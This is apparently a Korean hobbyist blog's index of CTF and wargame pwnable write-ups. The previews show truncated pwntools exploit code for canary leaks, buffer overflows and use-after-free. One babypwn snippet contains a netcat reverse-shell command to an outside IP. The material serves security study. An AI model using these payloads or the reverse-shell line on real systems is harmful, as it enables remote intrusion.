Profile

머리정리하는곳

c2w2m2

[Protostar] heap1

힙 공부하다가 많이 부족한거 같아서 다시 처음부터 protostar 힙을 풀어보려 한다. 0 은 쉬우니 패쓰 하고 1 부터 #include #include #include #include #include struct internet { int priority; char *name; }; void winner() { printf("and we have a winner @ %d\n", time(NULL)); } int main(int argc, char **argv) { struct internet *i1, *i2, *i3; i1 = malloc(sizeof(struct internet)); i1->priority = 1; i1->name = malloc(8); i2 = malloc(sizeof(struct..

Pwnable ·

<asis ctf> mary_morton

from pwn import * def exp(cana):pay = "A"*136pay += p64(cana)pay += "A"*8pay += p64(0x4008DA)print len(pay)print p.recv(2048)p.send("1\n")p.send(pay)p.send("3\n")print p.recv(2048)print p.recv(2048)print p.recv(2048)print p.recv(2048) def canary():p.send("2\n")p.send("%23$p\n")p.recvline()cana = p.recvline()cana = cana[:len(cana)-1]print "[+] : %s" % canareturn int(cana,16) #p = remote("146.185...

Pwnable ·

Pwnable.kr -dragon

이문제는 매우매우 쉬우니까 그냥 익스코드만 올리겠다. byte overflow로 드래곤을 잡고 uaf 로 터쳐주면된다 from pwn import * p = remote("pwnable.kr",9004)eip = 0x08048DBFprint p.recvuntil("Knight")print "[+] Select Priest!"p.sendline("1")p.recvline()dargon = p.recvline()[:11]print "[+] First is %s" % dargonp.sendline("1")p.recvuntil("Invincible.")p.sendline("1")print p.recvuntil("Knight")print "[+] We ReSelect Priest!"p.sendline("1")fo..

Pwnable ·

[Defcon2017] Smash me

Pwnable study 게시판에 첫 게시글이다. study용 게시판을 새로 만든거인데 CTF Writeup 이랑 별차이 없을듯 64bit에 아무런 보호기법이 걸려있지 않다. 쉬운문제니 그냥 어셈으로 보자. 보아하니 gets 에서 BOF 가 발생하는것같다. 문제는 저 Smash me ... 문자열이다. 저 문자열과 우리 입력으로 sub_400320함수를 콜하게 된다. 저 함수가 뭐하는 함수인지 알기위해서 저함수에 bp를 걸고 plt got 연산후 got 에 들어있는 값을 보자 got에는 0x0043cd30 이라는 값이 있는것을 볼수있고, 이를 ida에서 확인하면 strstr함수인것 같다. 자 다시 어셈을 보자. | buf (0x40) | sfp (0x8) | ret 의 스택구조를 가지고 있을것이지만 Sm..

Pwnable ·

openCTF <tryo_heap>

Binary

Pwnable ·

Babypwn, r0pbaby, casino

from pwn import * context(arch='i386', os='linux', endian='little') def leak_canary():p = remote("localhost", 8181)print p.recvuntil('>')pay = "A"*40p.send("1\n")print p.recvuntil(": ")p.send(pay+"\n")p.recvuntil(pay)canary = u32(p.recv(4)[0:]) - 10p.close() return canary def pay():shell="nc.traditional -e /bin/sh 108.61.161.168 4444"elf = ELF("./babypwn")rop = ROP(elf) pay = "A"*40 + p32(canary..

Pwnable ·

[overthewire] leviathan

leviathan 0 (view .backup) leviathan 1 (ltrace) leviathan 2 (command injection) leviathan 3 (ltrace) leviathan 4 (.trash 안에 bin to ascii) leviathan 5 (ln -s FLAG file.log) leviathan 6 (ida) leviathan 7 clear 풀면서 대충 끄적인거만 올려영... 너무 쉬워서

Pwnable ·

[LOB FC4 - level 3]enigma -> titan

/* The Lord of the BOF : The Fellowship of the BOF - titan - Remote BOF on Fedora Core 4 - hint : ? - port : TCP 8888*/ #include #include #include #include static char buffer[40];static void (*ftn)(); void print(){ printf("nothing here\n");fflush(stdout);} int main(){ char buf[48]; ftn = print; printf("titan : What a tragic mistake.\n"); printf("you : "); fflush(stdout); // give me a food fgets(..

Pwnable/LOB ·

[LOB FC4 - level 2] cruel-> enigma

엌ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 풀어놓고 포스팅을 까먹었음ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 지금이라도 포스팅 해볼게여 /* The Lord of the BOF : The Fellowship of the BOF - enigma - Remote BOF on Fedora Core 4 - hint : ? - port : TCP 7777*/ #include #include #include #include int vuln(int canary,char *ptr){ char buffer[256]; int *ret; // stack overflow!!strcpy(buffer,ptr)..

Pwnable/LOB ·